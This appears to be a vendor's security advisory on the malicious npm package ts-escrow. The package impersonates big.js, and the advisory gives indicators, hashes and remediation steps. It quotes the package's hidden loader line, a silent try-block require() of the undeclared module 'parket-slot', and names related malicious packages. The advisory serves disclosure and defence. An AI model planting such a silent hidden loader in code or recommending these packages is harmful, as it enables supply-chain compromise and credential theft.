NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
Malicious package

ts-escrownpm

Advisory published Updated

ts-escrow is a confirmed malicious npm package (MAL-2026-6320) that typosquats a legitimate package to trick installs (malicious versions 0.0.9, 0.1.0). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in ts-escrow (npm)

MAL-2026-6320
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall ts-escrow

What this malware does

[email protected] is a verbatim copy of the big.js library (README, repository URL, author, version banner, and description all impersonate MikeMcl/big.js) republished under an unrelated name. Inserted between unrelated method definitions in big.js and big.mjs is a top-level, error-swallowing loader: try { const doc = require('parket-slot'); doc.from_str().then(e => { }).catch(e => { }) } catch (error) { }. The 'parket-slot' module is not declared in package.json. The manifest instead declares an unrelated dependency 'log-taker1' (^0.1.0), also unrelated to big.js's documented zero-dependency posture. Any developer who installs ts-escrow and require()s it triggers loading of an attacker-controlled companion module at import time, with errors silently swallowed to evade detection. The combination of library impersonation, hidden require() of an undeclared package, and silent error handling is the textbook supply-chain trojan loader pattern.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

2 flagged
0.0.90.1.0

Indicators of compromise (SHA-256)

9607025df61aa1728bceb1a71534460a9e9edf2f3cd1d4eedd533238786577c2
0095bb7657066925a35684f9f134a0512ae5565f1b4a4b8ceade7a43173c5b86
51e9a5f94b3d1d08752b617b7ac41c2e8393dd493d5be7c4ca61a32f901cd949

Detection & response playbook

Typosquat
  1. Find it

    Search your lockfiles and build artifacts for ts-escrow (2 malicious versions).

  2. If you installed it — respond

    ts-escrow is a typosquat — you almost certainly intended a legitimately-named package. Remove ts-escrow, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

  3. Did it already run?

    If ts-escrow was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. ts-escrow on npm has been identified as a malicious package (versions 0.0.9, 0.1.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-007266GHSA-fjgh-3fjv-prm3IN-MAL-2026-013252

References

Credits

  • Amazon Inspector · finder

Detect & block this

O3 blocks ts-escrow-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Explore

ts-escrow (npm) malicious package — MAL-2026-6320 | O3 Security